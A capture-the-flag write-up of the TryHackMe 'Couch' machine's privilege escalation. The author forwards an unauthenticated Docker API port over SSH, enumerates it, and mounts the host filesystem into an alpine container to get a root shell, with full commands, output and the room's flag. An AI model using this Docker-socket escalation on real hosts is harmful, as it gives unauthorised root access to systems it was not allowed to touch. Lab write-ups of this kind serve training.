THM: Couch
THM: Couch
This is Couch from THM. It’s Easy:
Hack into a vulnerable database server that collects and stores data in JSON-based document formats, in this semi-guided challenge.
This will be brief, because I’m only interested in the privesc (which wasn’t guided).
Linpeas
We’ve SSH’d in as atena and I run linpeas; I don’t get much but do notice:
[+] Active Ports
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports
tcp 0 0 0.0.0.0:22 0.0.0.0:*
tcp 0 0 127.0.0.1:46808 0.0.0.0:*
tcp 0 0 0.0.0.0:5984 0.0.0.0:*
tcp 0 0 127.0.0.1:2375 0.0.0.0:*
tcp6 0 0 :::22 :::* I port forward 2375 with SSH:
┌──(root💀kali)-[/opt/thm/couch]
└─# ssh -L 9999:localhost:2375 [email protected]
[email protected] password:
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-193-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Thu Jul 1 03:13:41 2021 from 10.9.10.123
atena@ubuntu:~$And check in the broswer:
HTTP/1.1 404 Not Found
Content-Type: application/json
Date: Thu, 01 Jul 2021 10:03:28 GMT
Content-Length: 29
Connection: close
{"message":"page not found"}I run dirsearch:
┌──(root💀kali)-[/opt/thm/couch]
└─# python3 /opt/dirsearch/dirsearch.py -u http://localhost:9999
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10848
Error Log: /opt/dirsearch/logs/errors-21-07-01_06-03-49.log
Target: http://localhost:9999/
Output File: /opt/dirsearch/reports/localhost/_21-07-01_06-03-50.txt
[06:03:50] Starting:
[06:03:54] 200 - 3B - /plugins /Citrix/AccessPlatform/auth/clientscripts/cookies.js
[06:05:13] 503 - 144B - /configs/conf_zepass.ini [06:05:13] 503 - 144B - /configs/conf_bdd.ini
[06:05:20] 200 - 31KB - /debug/pprof/goroutine?debug=1
[06:05:20] 200 - 27KB - /debug/pprof/trace
[06:05:20] 200 - 8KB - /debug/pprof/heap
[06:05:38] 200 - 2KB - /info [06:05:48] 503 - 144B - /nodes [06:06:04] 503 - 144B - /secrets [06:06:05] 503 - 144B - /services
[06:06:22] 200 - 537B - /version And visiting /info gives a lot of information:
HTTP/1.1 200 OK
Api-Version: 1.39
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/18.09.7 (linux)
Date: Thu, 01 Jul 2021 10:06:55 GMT
Connection: close
Content-Length: 2454
{
"ID": "Y6WE:HXC4:FJQH:37S4:AW62:VZXN:P33O:CCAZ:KAIN:74CM:QJXR:PKEE",
"Containers": 0,
"ContainersRunning": 0,
"ContainersPaused": 0,
"ContainersStopped": 0,
"Images": 1,
"Driver": "overlay2",
"DriverStatus": [
[
"Backing Filesystem",
"extfs"
],
[
"Supports d_type",
"true"
],
[
"Native Overlay Diff",
"true"
]
],
"SystemStatus": null,
"Plugins": {
"Volume": [
"local"
],
"Network": [
"bridge",
"host",
"macvlan",
"null",
"overlay"
],
"Authorization": null,
"Log": [
"awslogs",
"fluentd",
"gcplogs",
"gelf",
"journald",
"json-file",
"local",
"logentries",
"splunk",
"syslog"
]
},
"MemoryLimit": true,
"SwapLimit": false,
"KernelMemory": true,
"CpuCfsPeriod": true,
"CpuCfsQuota": true,
"CPUShares": true,
"CPUSet": true,
"IPv4Forwarding": true,
"BridgeNfIptables": true,
"BridgeNfIp6tables": true,
"Debug": false,
"NFd": 22,
"OomKillDisable": true,
"NGoroutines": 38,
"SystemTime": "2021-07-01T03:06:54.855591862-07:00",
"LoggingDriver": "json-file",
"CgroupDriver": "cgroupfs",
"NEventsListener": 0,
"KernelVersion": "4.4.0-193-generic",
"OperatingSystem": "Ubuntu 16.04.7 LTS",
"OSType": "linux",
"Architecture": "x86_64",
"IndexServerAddress": "https://index.docker.io/v1/",
"RegistryConfig": {
"AllowNondistributableArtifactsCIDRs": [],
"AllowNondistributableArtifactsHostnames": [],
"InsecureRegistryCIDRs": [
"127.0.0.0/8"
],
"IndexConfigs": {
"docker.io": {
"Name": "docker.io",
"Mirrors": [],
"Secure": true,
"Official": true
}
},
"Mirrors": []
},
"NCPU": 1,
"MemTotal": 510328832,
"GenericResources": null,
"DockerRootDir": "/var/lib/docker",
"HttpProxy": "",
"HttpsProxy": "",
"NoProxy": "",
"Name": "ubuntu",
"Labels": [],
"ExperimentalBuild": false,
"ServerVersion": "18.09.7",
"ClusterStore": "",
"ClusterAdvertise": "",
"Runtimes": {
"runc": {
"path": "runc"
}
},
"DefaultRuntime": "runc",
"Swarm": {
"NodeID": "",
"NodeAddr": "",
"LocalNodeState": "inactive",
"ControlAvailable": false,
"Error": "",
"RemoteManagers": null
},
"LiveRestoreEnabled": false,
"Isolation": "",
"InitBinary": "docker-init",
"ContainerdCommit": {
"ID": "",
"Expected": ""
},
"RuncCommit": {
"ID": "N/A",
"Expected": "N/A"
},
"InitCommit": {
"ID": "v0.18.0",
"Expected": "fec3683b971d9c3ef73f284f176672c44b448662"
},
"SecurityOptions": [
"name=apparmor",
"name=seccomp,profile=default"
],
"Warnings": [
"WARNING: API is accessible on http://127.0.0.1:2375 without encryption.\n Access to the remote API is equivalent to root access on the host. Refer\n to the 'Docker daemon attack surface' section in the documentation for\n more information: https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface",
"WARNING: No swap limit support"
]The real takeaway is that last bit though:
WARNING: API is accessible on http://127.0.0.1:2375 without encryption
So. What can we do? First, I install the docker CLI in kali:
apt install docker.io
Then we can list the images:
┌──(root💀kali)-[/opt/thm/couch]
└─# docker -H localhost:9999 images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest 389fef711851 6 months ago 5.58MBAnd then we can get root:
┌──(root💀kali)-[/opt/thm/couch]
└─# docker -H localhost:9999 run -it -v /:/host alpine chroot /host/ bash
groups: cannot find name for group ID 11
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
root@d4ecebedfc38:/# id;hostname;date
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
d4ecebedfc38
Thu Jul 1 03:45:16 PDT 2021
root@d4ecebedfc38:/# cd /root
root@d4ecebedfc38:~# ls
root.txt
root@d4ecebedfc38:~# cat root.txt
THM{RCE_us1ng_Docker_API}
root@d4ecebedfc38:~#Neato completo.